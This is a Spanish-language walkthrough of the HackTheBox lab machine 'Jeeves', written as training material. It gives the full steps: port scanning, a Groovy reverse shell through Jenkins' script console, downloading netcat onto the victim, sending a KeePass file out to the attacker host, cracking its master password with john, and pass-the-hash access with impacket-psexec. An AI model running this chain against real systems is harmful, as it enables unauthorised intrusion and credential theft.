Skip to main content

Command Palette

Search for a command to run...

Jeeves - HackTheBox

Máquina Windows nivel Medium de la plataforma HackTheBox que forma parte del path CPTS.

Updated
6 min read
Jeeves - HackTheBox
E
Cybersecurity

Enumeración y Reconocimiento de Puertos y Servicios

Comenzamos enumerando los puertos y servicios que se ejecutan en la máquina víctima a través de la herramienta nmap.

nmap -p- -Pn -n --min-rate 5000 10.129.228.112
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-09 12:16 -0700
Nmap scan report for 10.129.228.112
Host is up (0.034s latency).

PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
50000/tcp open  ibm-db2

Para obtener más información sobre los servicios que se ejecutan en cada puerto lanzamos otro comando de nmap que nos proporcionará la información que buscamos.

nmap -p80,135,445,50000 -sCV 10.129.228.112
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-09 12:19 -0700
Nmap scan report for 10.129.228.112
Host is up (0.034s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-03-09T17:19:39
|_  start_date: 2026-03-09T16:58:44
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_clock-skew: mean: -2h00m01s, deviation: 0s, median: -2h00m01s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Podemos ver que en el puerto 80 se está ejecutando un servidor web Microsoft-IIS/10.0, podríamos tratar de enumerar a través de rpc sin credenciales (de momento), podríamos enumerar recursos compartidos como invitado (guest/sin credenciales) y vemos que también existe un servidor Jetty 9.4.z en el puerto 5000.

Enumeración Ask Jeeves - Puerto 80

Al acceder al puerto 80 encontramos un sitio web denominado Ask Jeeves que a simple vista parece un buscador web.

Introducimos cualquier término que queramos buscar y nos saltará el siguiente error.

Estamos ante un error relacionado con la base de datos del sitio web... Tras enumerar durante un rato no encontré nada de interés ni ningún punto de apoyo.

Enumeración RPC

Si intentamos conectarnos para enumerar vía rpc con rpcclient obtendremos el siguiente error:

# Cuenta de invitado deshabilitada
rpcclient -U "guest" 10.129.228.112
Password for [WORKGROUP\guest]:
Cannot connect to server.  Error was NT_STATUS_ACCOUNT_DISABLED

Enumeración SMB

Continuamos tratando de enumerar el protocolo smb (puerto 445) en busca de recursos compartidos accesibles sin credenciales.

# Enumeración de recursos con autenticación nula (NULL -N)
smbclient -N -L 10.129.228.112
session setup failed: NT_STATUS_ACCESS_DENIED

Seguimos sin obtener nada de interés, por lo que vamos a enumerar el puerto 50000 donde se ejecuta Jetty 9.4.z


Enumeración y Explotación Jetty - Puerto 50000

Buscando un poquito en internet averiguamos qué es y para qué sirve Jetty.

Jetty es un software que implementa el protocolo HTTP y la especificación de servlets de Java, permitiendo que una aplicación Java pueda recibir, procesar y responder a peticiones web.

Actúa como intermediario entre:

  • Clientes (navegador, app móvil, API client)

  • Aplicación Java (servlets, APIs, backend)

Si nos conectamos desde el navegador al puerto 50000 nos aparece el siguiente mensaje.

Fuzzeamos en busca de rutas existentes en el servidor Jetty y encontramos la ruta "askjeeves"

Y tras acceder a la ruta nos lleva a un servidor Jenkins.

Tras ver Jenkins ya me hago a la idea de lo que me voy a encontrar y de posibles métodos para ganar acceso.

Si, Groovy Scripting en la Consola de Scripts.

Es importante recordar que estamos en una máquina Windows, por lo que debemos cambiar el valor String cmd='cmd.exe'; en la reverse shell.

String host="<ip-tun0>";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Obtenemos la reverse shell como el usuario kohsuke, por lo que ya podríamos leer la flag de usuario.

Enumeramos los usuarios del sistema con net user.

C:\Users\kohsuke\Desktop>net user
net user

User accounts for \\JEEVES

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest                    
kohsuke                  
The command completed successfully.

Parece que el siguiente paso es escalar privilegios directamente al usuario Administrador.

Buscando un poco encontramos un archivo .kdbx en la ruta C:\Users\kohsuke\Documents\CEH.kdbx, que es un archivo de Keepass donde se almacenan credenciales.

Para poder pasarme el archivo haré uso de netcat, por lo que debemos pasarlo a la máquina Windows.

# En máquina atacante
python3 -m http.server 1234
# En máquina víctima
C:\Temp>powershell -c Invoke-WebRequest -Uri "http://10.10.14.115:1234/nc.exe" -OutFile nc.exe

C:\Temp>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Temp

03/09/2026  02:31 PM    <DIR>          .
03/09/2026  02:31 PM    <DIR>          ..
03/09/2026  02:31 PM            59,392 nc.exe
               2 File(s)     10,313,728 bytes
               2 Dir(s)   2,651,828,224 bytes free

Y una vez que tenemos netcat ejecutamos lo siguiente para enviar el archivo CEH.kdbx a nuestra máquina atacante.

nc -lnvp 5555 > CEH.kdbx
C:\Temp>powershell -c .\nc.exe 10.10.14.115 5555 < C:\Users\kohsuke\Documents\CEH.kdbx

Una vez que lo tengamos debemos obtener el hash de la contraseña maestra que desbloquea el archivo con keepass para poder acceder a las credenciales almacenadas en el mismo.

Para esto utilizaremos la utilidad keepass2john.


Keepass .kdbx

keepass2john CEH.kdbx > kbdx.hash

Y lo craquearemos con john también.

john --wordlist=/usr/share/wordlists/rockyou.txt kbdx.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<password-cracked>       (CEH)     
1g 0:00:00:33 DONE (2026-03-09 13:54) 0.02972g/s 1634p/s 1634c/s 1634C/s nando1..molly21
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Tras obtener la contraseña accedemos con kpcli para listar las credenciales almacenadas.

Obtenemos lo que parece un hash NTLM.


Escalada de Privilegios

Utilizamos este hash para intentar conectarnos a la máquina con psexec.py suponiendo que este hash corresponde al del usuario Administrador.

impacket-psexec administrator@<ip> -hashes <HASH NTLM>

Nos dirigimos a la ruta C:\Users\Administrator\Desktop y encontramos un archivo llamado hm.txt que dice lo siguiente.

Listamos el directorio de nuevo utilizando dir /r que hace que también muestre streams ocultos asociados a los archivos y leemos la flag utilizando more.